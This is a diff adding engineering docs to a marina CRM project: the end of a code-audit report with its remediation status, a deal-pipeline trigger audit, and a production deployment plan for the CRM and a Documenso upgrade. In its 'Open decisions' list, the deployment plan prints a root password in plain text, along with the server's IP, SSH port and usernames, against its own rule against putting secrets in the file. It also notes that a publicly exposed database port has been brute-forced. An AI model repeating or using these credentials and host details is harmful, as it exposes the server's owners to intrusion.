+(a) `updateTenancy` emits `berth_tenancy:activated` for a metadata-only edit, causing false "activated" toasts/cache invalidations on clients — fix: emit `:updated` (conf 0.9). (b) `saveStages` runs reassignment UPDATEs and the stage-list UPSERT as separate top-level `db` calls despite a docstring claiming one transaction; a crash between them leaves interests reassigned but the stage list unsaved — fix: wrap both in `db.transaction` or correct the docstring (conf 0.83).
+**Confidence: 0.83–0.9**
+
+#### L33 — Import substring header auto-mapping can mis-map fields; berth mooring regex laxer than canonical _(two minor items)_
+
+`src/lib/import/mapping.ts:53` and `src/lib/import/adapters/berths.ts:12-14,31`
+(a) `c.includes(h.n) || h.n.includes(c)` scores any substring relationship as a near-exact match, so "Billing Email" can auto-map to client `email` and "Company Name" to `name`; a careless confirm imports into the wrong column at scale — fix: surface score-1 substring matches as "review" not pre-selected, or use whole-token boundaries (conf 0.6). (b) `canonMoo` zod regex `^[A-Za-z]+-?0*\d+$` is laxer than the documented canonical `^[A-Z]+\d+$` and `parseInt` loses precision past `MAX_SAFE_INTEGER`; dedup stays self-consistent so no duplicate/cross-tenant risk — fix: align the regex, reject absurd numeric lengths (conf 0.55).
+**Confidence: 0.55–0.6**
+
+#### L34 — API envelope / auth-surface inconsistency cluster _(pass-1, confirmed)_
+
+Multiple files
+`me/email` returns 3 shapes; no-content mutations return `{ok:true}` instead of `204`; `dashboard`/`notifications`/`search` GETs return bare shapes; inline 400s bypass `errorResponse`; public intake POSTs use bespoke shapes; portal login reads `?next=` but proxy sets `?redirect=`; scanner layout lacks a membership check; module-gate layouts fail-open on an unresolved slug.
+**Fix:** Normalize to the `{ data }` envelope per CLAUDE.md; route 400s through `errorResponse`; align `?next=`/`?redirect=`; add the scanner membership check; fail-closed on unresolved slug. **Confidence: high (confirmed)**
+
+#### L35 — Import port-authorization trust boundary is unguarded (latent) `[needs-confirm]`
+
+`src/lib/import/types.ts:46-49` + `src/lib/queue/workers/import.ts:71-78`
+`portId` is taken from `batch.portId` and trusted. Correct today because every service call stamps `portId` from `ctx` and there is no API layer enqueuing the engine — but when the commit/dry-run route lands it MUST re-derive `portId` from the session and assert `batch.portId === session.portId`, and gate on an `import` permission (none is checked anywhere in the engine path today). Flagged for the route author.
+**Confidence: 0.75**
+
+---
+
+## 3. Unified Lane Coverage Table
+
+All 17 lanes, with the pass where each completed and its finding counts (C/H/M/L) as mapped into the unified numbering.
+
+| #   | Lane                                        | Completed in                | Status    | Findings (C/H/M/L)  | Top risk (unified ref)                                                  |
+| --- | ------------------------------------------- | --------------------------- | --------- | ------------------- | ----------------------------------------------------------------------- |
+| 1   | Financial money-math                        | Pass 1+2                    | Complete  | 1/1/1/2             | C1 cross-currency deposit gate auto-marks berths Sold                   |
+| 2   | Sales pipeline state machine                | Pass 3                      | Complete  | (→C2) /3/3/2        | C2 lost/cancelled deal auto-flips berth to Sold                         |
+| 3   | Cross-entity ownership / schema drift       | Pass 1+2                    | Complete  | 0/1/1/2             | H5 archive/restore falsifies ownership-history ledger                   |
+| 4   | Background worker tenant isolation          | Pass 3                      | Complete  | 0/1/2/3             | H11 attacker-controlled `coverBrandPortId` brand-kit leak               |
+| 5   | Socket.IO realtime authorization            | Pass 3                      | Complete  | 0/0/2/3             | M10 deactivated users keep receiving all port broadcasts                |
+| 6   | AI subsystem spend cap + prompt injection   | Pass 3                      | Complete  | (→C2 shared) /1/0/2 | H9 email-draft spends OpenAI tokens, no rate limit/budget               |
+| 7   | Destructive client lifecycle + GDPR cascade | Pass 3                      | Complete  | 0/2/2/2             | H2/H3 merge skips payments/ownership → cascade-delete loss              |
+| 8   | Storage proxy, presign & file validation    | Pass 3 (pass-1 M24 partial) | Complete  | 0/0/4/2             | M18 single-use token bricks emailed URLs on transient fail              |
+| 9   | CSV/bulk import engine                      | Pass 1+2                    | Complete  | 0/1/3/3             | H10 CSV formula injection in expense + audit exports                    |
+| 10  | Email engine internals                      | Pass 3                      | Complete  | 0/0/1/3             | M8 bounce poller port-blind → cross-tenant misattribution               |
+| 11  | Outbound webhook SSRF + delivery integrity  | Pass 1+2                    | Complete  | 0/1/3/2             | H1 fetch follows redirects, defeating SSRF allowlist                    |
+| 12  | Report/PDF correctness + per-port filtering | Pass 3                      | Complete  | 0/1/4/2             | H6 title-case berth status → 0 sold / understated occupancy             |
+| 13  | Residential + tenancies logic               | Pass 1+2                    | Complete  | 1/2/3/2             | C3 residential module-disabled never enforced on v1 API                 |
+| 14  | Berth rules / recommender / public status   | Pass 3                      | Complete  | (→C2 shared) /0/2/1 | C2 lost/cancelled deals auto-flip berths Sold (public site)             |
+| 15  | Permissions model + rate-limit coverage     | Pass 3                      | Complete  | 0/2/3/2             | H8 `residentialAccess` toggle bypasses caller-superset                  |
+| 16  | React components/hooks + UI/UX              | Pass 3                      | Complete  | 0/3/4/2             | H7 residential notes fully broken (wrong NotesList API URL)             |
+| 17  | Documenso e-sign integration                | Pass 3                      | Complete  | 0/0/1/2             | L11 v2 null `numericId` → dropped completion webhooks `[needs-confirm]` |
+| —   | Pass-1 routing/API confirmation set         | Pass 1                      | Folded in | C4 + M24 + L34      | C4 tracked `/q/` links dead in all outbound mail                        |
+
+**Coverage note:** All 17 lanes plus the pass-1 routing/API set are now covered — the 11 lanes rate-limited in pass 1+2 were successfully re-run in pass 3. Lane-level C/H/M/L counts above are indicative (they reflect each lane's pre-merge contribution; the cross-pass and within-pass merges mean the unified totals are not a simple column sum). Parenthetical `(→Cn)` marks a lane whose top finding was merged with another lane's.
+
+---
+
+## 4. Cross-Pass Dedupe Notes
+
+Every merge made while consolidating the two passes:
+
+1. **CROSS-PASS (required) — Cross-currency deposit gate.** Pass 1+2 **C1** (cross-currency deposit gate auto-marks berths Sold) and pass 3 **H3** (deposit auto-advance is currency-blind) are the **same bug** (`payments.service.ts` deposit-met gate summing across currencies and comparing against a single-currency expectation). Merged into unified **C1 (CRITICAL)**, combining detail from both (the FX-summation mechanics from pass 1+2, the schema column refs `interests.ts:64-65` and the auto-advance/`deposit_received`-rule chain from both). Counted once.
+
+2. **Within pass 3 — Lost/cancelled → Sold.** Pass 3 **C1** was itself a merge of the Sales-pipeline lane and the Berth-subsystem lane (same `setInterestOutcome` → `interest_completed` → `sold` root cause). Preserved as unified **C2 (CRITICAL)**; no further action — recorded for traceability.
+
+3. **Within pass 3 — AI token spend.** Pass 3 **H12** (AI rate-limit missing, spanning the AI-subsystem and permissions/rate-limit lanes) and pass 3 **H13** (AI email-draft budget gate missing) are two facets of the same unprotected token-spend surface on `ai/email-draft`. Merged into unified **H9**, carrying both confidences (0.9 rate-limit / 0.97 budget) and both fixes. Net reduction of one HIGH versus a naive sum.
+
+4. **Within pass 3 — `coverBrandPortId` brand-kit leak.** Pass 3 **H6** was already a merge (worker-isolation lane HIGH + report-correctness lane LOW), kept at HIGH. Carried to unified **H11** unchanged.
+
+5. **Within pass 3 — Bounce poller port-blindness.** Pass 3 **M8** was already a merge (worker-isolation lane + email-engine lane). Carried to unified **M8** unchanged.
+
+6. **Within-pass bundles preserved (not re-split):** pass 3 **L18** (3 decorative-emoji sites), **L16** (3 email/bounce nits), **L17** (3 storage nits), **L20** (3 socket defense-in-depth nits); pass 1+2 **L9/L10/L32/L33** (paired tenancy and import items). These remain bundled exactly as the source docs intended (each is one rule/theme with sub-items), now at L18/L16/L17/L20 and L32/L33 respectively.
+
+7. **Severity reconciliations carried over (no merge, recorded):** pass 3 demoted L3 (recommender stage-scale) HIGH→LOW `[needs-confirm]` and L11 (Documenso null `numericId`) HIGH→LOW `[needs-confirm]`; both retained at LOW in the unified doc. `[needs-confirm]` tags preserved on unified **L3, L6, L11, L21, L35**.
+
+8. **No other cross-pass duplicates found.** Notably distinct (checked, NOT merged): unified **C1** (deposit currency math) vs **C2** (outcome-blind rule) — both touch the berth-rules engine but have different root causes; pass-1+2 **H3 refund-sign** (unified **H12**) vs pass-3 currency bug (unified **C1**) — different defects in the same service file; unified **L24** (deposit refund lower-bound re-lock) is a distinct idempotency concern adjacent to C1, kept separate as the source docs did.
+
+---
+
+### Final tally — distinct findings in this unified report
+
+| Severity  | Distinct count                 |
+| --------- | ------------------------------ |
+| CRITICAL  | 4                              |
+| HIGH      | 17                             |
+| MEDIUM    | 29                             |
+| LOW       | 35 (incl. 5 `[needs-confirm]`) |
+| **Total** | **85**                         |
+
+_Derivation: union of the actual numbered entries — pass 1+2 (32: C3/H6/M11/L12) + pass 3 (55: C1/H13/M18/L23) = 87 — minus the cross-pass deposit-currency duplicate (pass1+2 C1 ≡ pass3 H3) and the within-pass-3 AI rate-limit + budget merge (pass3 H12 + H13) = **85 distinct findings**. Both removed entries were in the HIGH tier of their source; the merged deposit-currency finding is retained at CRITICAL (C1)._
+
+---
+
+## Remediation status — COMPLETE (2026-06-02)
+
+All 85 findings addressed across 28 `fix(audit)` commits on
+`feat/residential-toggle-and-reports-comparison`. Every commit is
+tsc-clean through the pre-commit hook; **1103/1103 unit tests pass** and
+the full suite was re-run green after each tier.
+
+- **CRITICAL (4):** all fixed (C1 currency-deposit gate, C2 outcome→berth,
+  C3 residential API gate, C4 `/q/` allowlist).
+- **HIGH (17):** all fixed.
+- **MEDIUM (29):** all fixed.
+- **LOW (35):** 34 fixed; **L21** verified a FALSE POSITIVE (the sliding
+  window admits exactly `max`, not `max+1`) — no change needed.
+
+`[needs-confirm]` resolutions: L3 (recommender stage-scale) = REAL, fixed.
+L11 (Documenso v2 numericId) = REAL, fixed with GET fallback. L6 (scheduler
+multi-replica) = fixed with atomic claim. L21 = false positive. L35 (import
+port-auth) = latent, documented for the future commit route.
+
+### Deferred (code shipped; DB-schema migration outstanding)
+
+Two findings have their application-code fix shipped but a DB-schema change
+intentionally deferred (each needs a generated migration applied via psql +
+a `next dev` restart, which requires the live DB):
+
+- **M25** — `client_contacts` per-port partial-unique index on
+  `lower(value) WHERE channel='email'` (+ a `port_id` column/backfill/stamp
+  trigger). The in-file dedup (preview accuracy) shipped.
+- **M23** — tightening invoice `numeric` columns to `numeric(12,2)`. The
+  money-rounding + `0%`-discount code fix shipped.
+
+### Stale-doc follow-ups noted by fix agents (not code bugs)
+
+- CLAUDE.md references `src/middleware.ts` (renamed to `src/proxy.ts` in
+  Next 16) and still says "companyNotes lacks updatedAt" (now has one).
+- `src/lib/db/schema/clients.ts:55` comment references an "unmerge flow"
+  that does not exist (M6 corrected the service docstrings).

docs/deal-pulse-trigger-audit.md

@@ -0,0 +1,134 @@
+# Deal Pulse & Pipeline Trigger Audit — 2026-05-18
+
+Per MANUAL-TESTING-BACKLOG-2026-05-15 §4.15: map every place that
+moves an interest's pipeline stage OR contributes to the deal-pulse
+score, and call out the gaps.
+
+---
+
+## 1. Pipeline-stage auto-advance — call-site map
+
+`advanceStageIfBehind(interestId, portId, target, meta, reason?)` is
+the canonical "advance if not already past target" helper. The
+`*Gated` variant honours the per-port `stage_advance_rules` setting
+(auto / suggest / off).
+
+| Trigger                              | Caller                        | Target                                                    | File:line                               | Gated?                           |
+| ------------------------------------ | ----------------------------- | --------------------------------------------------------- | --------------------------------------- | -------------------------------- |
+| EOI sent (manual rep generate)       | `generateAndSign`             | `eoi`                                                     | `documents.service.ts:843`              | gated (eoi_sent)                 |
+| EOI signed (all parties via webhook) | `handleDocumentCompleted`     | `reservation`                                             | `documents.service.ts:1610`             | gated (eoi_signed)               |
+| Reservation signed                   | `handleDocumentCompleted`     | `reservation` (no change, stage stays + status sub-flips) | `documents.service.ts:1640`             | gated (reservation_signed)       |
+| Deposit received in full             | `recordPayment`               | `deposit_paid`                                            | `payments.service.ts:134`               | gated (deposit_received)         |
+| Sales contract signed                | `handleDocumentCompleted`     | `contract`                                                | `documents.service.ts:1671`             | gated (contract_signed)          |
+| Deposit invoice paid (alt path)      | `markInvoicePaid`             | `deposit_paid`                                            | `invoices.ts:684`                       | gated (deposit_received)         |
+| Custom document upload               | `confirmCustomDocumentUpload` | document-type-specific (eoi/reservation/contract)         | `custom-document-upload.service.ts:354` | **NOT gated** (uses base helper) |
+| External-eoi mark-as-signed          | inline in handler             | `reservation`                                             | `documents.service.ts:859`              | **NOT gated**                    |
+| Externally-signed contract           | inline in handler             | `contract`                                                | `documents.service.ts:971`              | **NOT gated**                    |
+| Manual stage move                    | `changeInterestStage`         | any (with override)                                       | `interests.service.ts:840`              | manual / not gated               |
+
+### Gaps flagged
+
+- **External-signed paths bypass the per-port rules.** A port set to
+  `suggest` for `eoi_signed` still gets an auto-advance when the rep
+  marks the doc externally signed. Decision needed: should the rules
+  table also gate the external-signed paths? Argument for yes: the
+  rep's intent ("I just want to mark this signed") is the same as
+  the webhook case. Argument for no: the rep is explicitly choosing
+  to bypass the digital flow, so an auto-advance is what they expect.
+- **Custom document upload is not gated.** Same trade-off as above.
+- **No stage rollback on rejection.** When a signer declines an EOI
+  (`handleDocumentRejected`), the doc flips to `rejected` but the
+  interest stays at `eoi`. Confirm: this is correct — the deal
+  isn't dead, the EOI is. Rep should regenerate. **Verdict: keep
+  as-is.**
+- **No stage rollback on cancel.** When the rep cancels an in-flight
+  EOI, the doc flips to `cancelled` and the interest stays at `eoi`.
+  Decision needed: should the interest roll back to `qualified`
+  when the only EOI is cancelled with no replacement?
+  **Recommendation: NO** — keeps history honest; a cancel is the
+  rep's deliberate signal that they're regenerating, not retreating.
+
+---
+
+## 2. Deal-pulse signals — `computeDealHealth` map
+
+Source: `src/lib/services/deal-health.ts`. Each `signals.push` site
+documented with its trigger condition + score delta:
+
+| Signal              | Delta                | Condition                                           | File:line          |
+| ------------------- | -------------------- | --------------------------------------------------- | ------------------ |
+| `active_engagement` | +5                   | Any contact-log entries in last 7 days              | deal-health.ts:101 |
+| `contact_recent`    | +20                  | `dateLastContact <= 7 days` ago                     | deal-health.ts:115 |
+| `contact_warm`      | +10                  | `dateLastContact <= 14 days` (else of above)        | deal-health.ts:122 |
+| `contact_stale`     | -15                  | `dateLastContact >= 30 days`                        | deal-health.ts:129 |
+| `stage_progress`    | +10/+20/+30 (capped) | Per pipelineStage index                             | deal-health.ts:142 |
+| `stuck_top_funnel`  | -10                  | `firstDays >= 30` AND stage in {enquiry, qualified} | deal-health.ts:157 |
+| `eoi_awaiting`      | -10                  | `eoiSentDays >= 14` AND not signed                  | deal-health.ts:173 |
+| `deposit_pending`   | -10                  | reservation signed >= 21d AND no deposit            | deal-health.ts:184 |
+| `contract_awaiting` | -10                  | contract sent >= 14d AND not signed                 | deal-health.ts:200 |
+
+### Positive signals that are MISSING (gaps)
+
+- **EOI sent** — no `eoi_sent_recent` signal. Sending an EOI is the
+  single biggest "this deal just got serious" moment but the score
+  doesn't move when it happens. **Recommendation: +15 at < 7 days.**
+- **Deposit received** — same gap. A deposit landing should bump the
+  score significantly. **Recommendation: +20, decays over 30 days.**
+- **Contract signed** — terminal positive event; should ladder the
+  deal to its max. **Recommendation: +30 at < 14 days.**
+
+### Negative signals that are MISSING (gaps)
+
+- **Signer declined / EOI rejected** — when the §4.13 rejection path
+  fires, the score should drop noticeably (the deal is suddenly at
+  risk). **Recommendation: -25, decays over 14 days.**
+- **Interest archived-and-unarchived cycle** — zombie deals that
+  bounce in and out should be flagged. Detect via the audit-log
+  archive/restore pattern. **Recommendation: -10 if archived+restored
+  within last 30 days.**
+- **Reservation cancelled** — similar to EOI rejected; signals the
+  deal is at risk. **Recommendation: -20.**
+- **Berth status flipped to sold-to-other** — the deal's primary
+  berth was sold to a different interest. **Recommendation: -30
+  (catastrophic).**
+- **Signer engagement** — Documenso fires `RECIPIENT_VIEWED`
+  webhooks (we store `openedAt`). A signer who opened but didn't
+  sign in 7+ days = stalling. **Recommendation: -5 per stalling
+  signer.**
+
+### Cadence escalation (currently flat)
+
+- `eoi_awaiting` and `contract_awaiting` both apply a flat -10 at
+  the 14-day threshold. **Recommendation: ladder to -20 at 21d, -30
+  at 30d** so prolonged stalling shows up more visibly.
+
+---
+
+## 3. Heat tooltip explainer copy
+
+The DealPulseChip popover (`src/components/interests/deal-pulse-chip.tsx`)
+references signals by name. With the gaps above closed, the
+tooltip's enumerated list needs the new signals added so the in-app
+copy matches the computation.
+
+The new `/docs/deal-pulse` explainer page (shipped this wave, §7.1)
+should also be kept in sync with the signal set.
+
+---
+
+## 4. Suggested fix wave (decisions needed from Matt)
+
+Per the doc structure, these are the punch-list items in priority order:
+
+1. **Ship the positive signals (eoi_sent, deposit_received, contract_signed).**
+   Biggest visible win. ~1.5h.
+2. **Ship the rejection / risk signals (eoi_rejected, reservation_cancelled, berth_sold_to_other).**
+   Pairs naturally with the §4.13 rejection cascade we shipped this
+   wave. ~2h.
+3. **Ship the cadence escalation (eoi_awaiting / contract_awaiting laddered scoring).**
+   ~30 min.
+4. **Decide on the external-signed-paths gating question.**
+5. **Decide on the cancel-stage-rollback question.**
+
+Each is small individually; combined the deal-pulse model gets meaningfully
+more accurate. Suggest bundling 1–3 into one PR for review economy.

docs/deployment-plan.md

@@ -0,0 +1,238 @@
+# Production Deployment Plan — Port Nimara CRM
+
+> **Status:** DRAFT · pre-deployment · 2026-05-31
+> **Target:** `https://crm.portnimara.com` on the PN Cloud server.
+> **Companion:** `docs/launch-readiness.md` (Initiative 5 — cutover).
+> Credentials live in `private/deployment-creds.md` (gitignored) — **never
+> put secrets in this file.**
+
+## ⛔ Guardrails (non-negotiable)
+
+1. **No change to anything on the prod server without Matt's explicit
+   per-action approval.** Recon/reads are fine; every `sudo`, every file
+   write, every `docker` mutation, every `certbot` run is approved
+   individually before it runs.
+2. **Documenso is VITAL.** It has broken on past upgrades. Nothing touches
+   the Documenso DB, volumes, or container until a verified backup +
+   S3↔DB reconciliation exists AND the upgrade step is explicitly approved.
+3. Work one phase at a time; verify before moving on. Keep a rollback for
+   each mutating step.
+
+---
+
+## Access (established 2026-05-31)
+
+| What                   | Detail                                                                                   | Verified                             |
+| ---------------------- | ---------------------------------------------------------------------------------------- | ------------------------------------ |
+| **Prod server (SSH)**  | `45.142.177.246:22022`, user `stefan`, key `id_ed25519_2026` (macOS keychain)            | ✅ connected, key auth               |
+| **Gitea API**          | `https://code.letsbe.solutions` as `matt` (admin) — reads build status, warnings, errors | ✅ v1.25.5, repo `letsbe/pn-new-crm` |
+| **Container registry** | `code.letsbe.solutions/letsbe/pn-new-crm/{crm-app,crm-worker}`                           | ✅ CI pushes `:latest` + `:<sha>`    |
+
+Notes:
+
+- `stefan` is **unprivileged** (uid 1000, not in the `docker` group; `sudo`
+  prompts for a password). Every `docker` / `nginx` / `certbot` / cert-read
+  step needs `sudo` (root pass in `private/deployment-creds.md` — **VERIFY**;
+  the per-server creds file had MOPC's pass by mistake).
+- Reading build logs: `GET /api/v1/repos/letsbe/pn-new-crm/actions/tasks`
+  (run status) + per-job logs; latest `main` build is **success**.
+
+---
+
+## How builds reach prod
+
+`git push origin main` → Gitea Actions `.gitea/workflows/build.yml`:
+
+1. **lint** job: `pnpm lint` + `pnpm exec tsc --noEmit`.
+2. **build-and-push** job (main only): builds `Dockerfile` → `crm-app` and
+   `Dockerfile.worker` → `crm-worker`, pushes `:latest` + `:<sha>` to the
+   Gitea registry.
+
+Prod **pulls** those images — it does not build. So a deploy is:
+push → wait for green CI → `docker compose pull` + `up -d` on the server.
+
+---
+
+## Prod stack (`docker-compose.prod.yml`)
+
+| Service      | Image                        | Notes                                                           |
+| ------------ | ---------------------------- | --------------------------------------------------------------- |
+| `postgres`   | `postgres:16-alpine`         | self-contained, volume `pgdata`                                 |
+| `redis`      | `redis:7-alpine`             | self-contained, volume `redisdata` (BullMQ + socket.io adapter) |
+| `crm-app`    | registry `crm-app:latest`    | **host `7100` → container `3000`**                              |
+| `crm-worker` | registry `crm-worker:latest` | BullMQ worker                                                   |
+
+- **Storage:** no MinIO service in the compose — the CRM uses **external
+  MinIO** via `system_settings.storage_backend` + `getStorageBackend()`.
+  The existing prod MinIO (`:9000`, `s3.conf` / `minio.conf` nginx vhosts)
+  is the backend. Confirm bucket + keys (creds file §3).
+- **Decision needed:** does the CRM get its **own** Postgres (the compose
+  default, isolated `pgdata`) or reuse an existing prod Postgres instance?
+  Default = the compose's own Postgres (cleanest isolation). Confirm.
+
+---
+
+## Phase 1 — `crm.portnimara.com` go-live
+
+DNS already points `crm.portnimara.com` at the server. No `crm.portnimara`
+nginx vhost exists yet (fresh setup). Template: `portnimara_dev.conf`
+(reverse-proxy + Certbot pattern already in use on this box).
+
+### Pre-flight (no approval needed — prep only)
+
+- [ ] Assemble the prod `.env` for the CRM. Source of truth: `src/lib/env.ts`
+      (Zod schema) + `.env.example`. Critical keys:
+  - `APP_URL=https://crm.portnimara.com`
+  - `DATABASE_URL` (compose Postgres), `REDIS_*`
+  - storage / MinIO (endpoint, access/secret, bucket) — creds file §3
+  - `DOCUMENSO_API_URL` (bare host, no `/api/v1`), `DOCUMENSO_API_VERSION`, API key
+  - better-auth secret, `WEBSITE_INTAKE_SECRET`, SMTP/IMAP
+  - **`EMAIL_REDIRECT_TO` MUST be unset in prod.**
+- [ ] Server can pull from the registry: `docker login code.letsbe.solutions`
+      with a registry token (creds file §2 — generate a Gitea token; do
+      **not** bake the account password into the server).
+
+### Step 1 — nginx vhost (⚠ approval)
+
+1. Create `/etc/nginx/sites-available/crm_portnimara.conf` modelled on
+   `portnimara_dev.conf`: port-80 → 443 redirect + `.well-known/acme-challenge`
+   location; port-443 server `proxy_pass http://127.0.0.1:7100` with the same
+   header block (Host, X-Real-IP, CF-Connecting-IP, X-Forwarded-_, websocket
+   `Upgrade`/`Connection` for socket.io), `client_max_body_size 64M`,
+   `proxy_read_timeout 300`, buffering off. **HTTP-only first** (no `ssl\__`
+   lines yet) so Certbot can complete the challenge.
+2. Symlink into `sites-enabled/`.
+3. `sudo nginx -t` — must pass. Then `sudo systemctl reload nginx`.
+
+### Step 2 — TLS cert (⚠ approval)
+
+- `sudo certbot --nginx -d crm.portnimara.com` — pulls + installs the cert,
+  rewrites the vhost with the managed `ssl_certificate` lines + 80→443
+  redirect. Re-run `sudo nginx -t` + reload.
+
+### Step 3 — bring up the container (⚠ approval)
+
+1. Place `docker-compose.prod.yml` + the prod `.env` in the deploy dir
+   (e.g. `/opt/pn-crm` — confirm location).
+2. `sudo docker login code.letsbe.solutions` (registry token).
+3. `sudo docker compose -f docker-compose.prod.yml pull`.
+4. `sudo docker compose -f docker-compose.prod.yml up -d`.
+5. **Watch for errors:** `sudo docker compose logs -f crm-app crm-worker`.
+6. Apply schema: migrations via `psql` (per CLAUDE.md `db:migrate` is broken)
+   or the app's push path — confirm the prod migration approach.
+7. Seed/bootstrap the port + admin user as needed.
+
+### Verify
+
+- [ ] `curl -fsS https://crm.portnimara.com/api/public/health` → `{status:"ok"...}`
+- [ ] Authenticated health w/ `X-Intake-Secret` → `{checks:{db,redis}}`
+- [ ] Login loads, branding renders, a berth list + a deal render.
+- [ ] socket.io realtime connects (websocket upgrade through nginx works).
+- [ ] No `42703` column errors (restart `crm-app` after any schema change).
+
+---
+
+## Phase 2 — Documenso v1.13.1 → v2.x upgrade (VITAL — execute SOBER, heavily gated)
+
+> **Do not execute while impaired.** This is the production signing system.
+> Every mutating step needs an explicit, sober go/no-go. The runbook below is
+> reference; the actual run is a scheduled session.
+
+### Verified facts (2026-05-31 recon + research)
+
+| Item            | Value                                                                                                                              |
+| --------------- | ---------------------------------------------------------------------------------------------------------------------------------- |
+| Current version | `documenso/documenso:v1.13.1` (Oct 2025 — last v1)                                                                                 |
+| Latest version  | **`v2.11.0`** (May 2026). Path: 1.13.1 → 2.0.0 → … → 2.11.0 (major jump)                                                           |
+| Compose         | `/root/docker-compose/documenso/docker-compose.yml` (project `documenso-production`, services `documenso` + `database`)            |
+| DB              | `postgres:15`, db `documenso_db`, user `admin`, vol `documenso-production_documenso-database` → `/var/lib/postgresql/data`         |
+| App port        | container `3000` → host `3020`; served at `https://signatures.portnimara.dev` (nginx `documenso.conf`, direct — **no Cloudflare**) |
+| Storage         | external MinIO, bucket `signatures` @ `s3.portnimara.com`, region `eu-central-1`                                                   |
+| Signing cert    | `/opt/documenso/certificate.p12` (+ passphrase in env)                                                                             |
+
+**Research conclusions (sources in chat):**
+
+- **v1 API survives in v2** — _"API V1 is stable but deprecated; nothing breaks."_ So the CRM keeps working on v1 API; flip to v2 later. (Will be **explicitly re-tested against the clone in Phase 0** before committing.)
+- **Postgres 15 is v2's official DB** — no DB-engine upgrade needed.
+- **Env vars carry over unchanged**; only `NEXTAUTH_URL` is dropped in v2 (auth now derives from `NEXT_PUBLIC_WEBAPP_URL`, already set correctly) — harmless leftover.
+- Upgrade = pull new image + restart; `prisma migrate deploy` auto-runs all pending migrations on startup.
+- **Known migration-failure history** (issue #1880: NOT-NULL column added without backfill). 1.13.1 is past that one, but it's the failure pattern to expect — hence the clone dry-run.
+- The login bounce (non-`Secure` cookie / `NEXTAUTH_URL` quirk) is plausibly fixed in v2's reworked auth, but treat that as a hoped-for bonus, not the goal.
+
+### Locked decisions (per Matt, 2026-05-31)
+
+- Dry-run on a clone first: **yes**. Target **latest v2.11.0**, staged through v2.0.0.
+- **No-downtime caveat:** true zero-downtime is **not possible** (migrations run on restart). Goal = brief + pre-rehearsed: validate fully on the clone, pre-pull the image, then a fast prod cutover in a low-traffic window.
+- CRM stays on Documenso **v1 API** after upgrade.
+- Backups: `pg_dump` + cert + compose/env pulled to the Mac (`private/documenso-backups/`, gitignored) **and** a cold volume snapshot kept on-server for fastest rollback.
+- Privilege: root via `su` (stefan isn't in the docker group; sudo needs a password we don't have — root pass works for `su`).
+
+### Phase 0 — Dry-run on a disposable clone (zero prod risk)
+
+- [ ] `pg_dump -Fc documenso_db` (live, no downtime) → restore into a throwaway `postgres:15` + `documenso:v2.11.0` stack on a **different compose project + port**, with a copy of the signing cert.
+- [ ] Watch `prisma migrate deploy` run the full 1.13.1→2.11.0 chain. Confirm: all migrations succeed, app boots, **login works**, existing documents render.
+- [ ] **Re-test the CRM's v1 API calls** against the clone → expect 200s.
+- [ ] If a migration fails: capture it, fix forward (or decide a target version that's clean) BEFORE touching prod.
+
+### Phase A — Prod backups (after Phase 0 passes; verified before any change)
+
+- [ ] `pg_dump -Fc documenso_db` → pull to `private/documenso-backups/` on the Mac (off-box). Plus a plain SQL dump.
+- [ ] Cold volume snapshot: stop stack → `tar` `documenso-production_documenso-database` → keep on-server + copy off. (This is the gold rollback — Prisma migrations aren't reversible.)
+- [ ] Copy compose file + env + `/opt/documenso/{certificate.p12,private.key,certificate.crt}`.
+- [ ] **MinIO `signatures`**: read-only object inventory (`{key,size,lastModified,etag}`) + DB→storage-key mapping export (Document/DocumentData → storage key) so files can be re-matched if linkage breaks.
+- [ ] Test-restore the dump into a throwaway PG15; record SHA-256s.
+
+### Phase B — Collation pre-fix (low risk; validate need on the clone first)
+
+- [ ] `REFRESH COLLATION VERSION` on `documenso_db` (+ `template1`/`postgres`) + reindex, so the libc 2.36→2.41 mismatch can't interfere with migration index ops.
+
+### Phase C — Prod upgrade (staged, pinned tags, low-traffic window)
+
+- [ ] Pre-pull images. Edit compose: `v1.13.1 → v2.0.0` → `up -d` → watch migration logs → verify.
+- [ ] Then `v2.0.0 → v2.11.0` → verify. Keep `postgres:15`.
+
+### Phase D — Verify
+
+- [ ] Login works; an existing completed envelope's PDF resolves from MinIO; send a test envelope; **webhook reaches the CRM** (`X-Documenso-Secret`, idempotent `handleDocumentCompleted`); reminders/void work.
+- [ ] CRM unchanged (still v1 API).
+
+### Phase E — Rollback (any failure)
+
+- [ ] Revert image tag + restore the volume snapshot (and/or DB dump) → back to v1.13.1 exactly.
+
+> Until Phase 0 passes AND a sober Phase A/C is explicitly approved step-by-step, **do not touch the Documenso container, DB, volumes, or `/opt/documenso`.**
+
+---
+
+## Open decisions / what I need from you
+
+1. ✅ MinIO creds filled; Documenso DB creds filled (creds file §3/§4). Still need the Documenso **API token** + **webhook secret** (generate after login as `matt@portnimara.com`).
+2. **Verify the root/sudo password** (`IpMKQ0TW56ovv80` — confirmed it works for `su` to root; not stefan's sudo password).
+3. **CRM Postgres:** own (compose default) or reuse an existing instance?
+4. **Deploy dir** for the CRM on the server (`/opt/pn-crm`?).
+5. **Registry pull token** — Gitea token for `docker login` on the server.
+6. ✅ Documenso target = **v2.11.0**, staged, clone-validated first.
+7. **Maintenance window** for the (brief, unavoidable) Documenso restart downtime.
+8. **Off-box backup destination confirmed** = Mac `private/documenso-backups/` + on-server volume snapshot.
+
+## Progress log
+
+- 2026-05-31: Access established (SSH + Gitea API). Read-only recon done
+  (nginx templates, prod compose, host port 7100). CRM deploy plan drafted.
+  Documenso fully diagnosed read-only (v1.13.1, healthy app+DB, login issue =
+  wrong email `@letsbe` vs `@portnimara.com` + a non-Secure-cookie quirk;
+  5432 publicly exposed + brute-forced; libc collation mismatch). Researched
+  v2 upgrade (v2.11.0 latest, PG15 ok, env vars carry over, v1 API survives).
+  Upgrade runbook drafted. **No prod changes made; no backups taken.**
+- 2026-06-01: **Phase 0 dry-run PASSED (local, zero prod impact).** Read-only
+  `pg_dump` of prod (3.5 MB — metadata only) → restored into a throwaway
+  `postgres:15` → booted `documenso:v2.11.0` against it. Result: full
+  v1.13.1→v2.11.0 chain applied cleanly (`All migrations have been
+successfully applied`, 140→157, none unfinished), app boots (home 302,
+  signin 200, v2 api 200), and **v1 API still answers (400 not 404) → CRM
+  safe**. Dump saved at `private/documenso-backups/` (off-box backup).
+  Dry-run stack **torn down 2026-06-01** after the pass (`docker compose
+-p documenso-dryrun down -v` — containers + anonymous volume + network
+  removed; restored clone gone, off-box dump retained). Compose file kept
+  at `private/documenso-dryrun/docker-compose.yml` for a re-run. Prod
+  still untouched.

docs/email-refactor-deferred.md

@@ -0,0 +1,49 @@
+# #71 Automated email refactor — DEFERRED
+
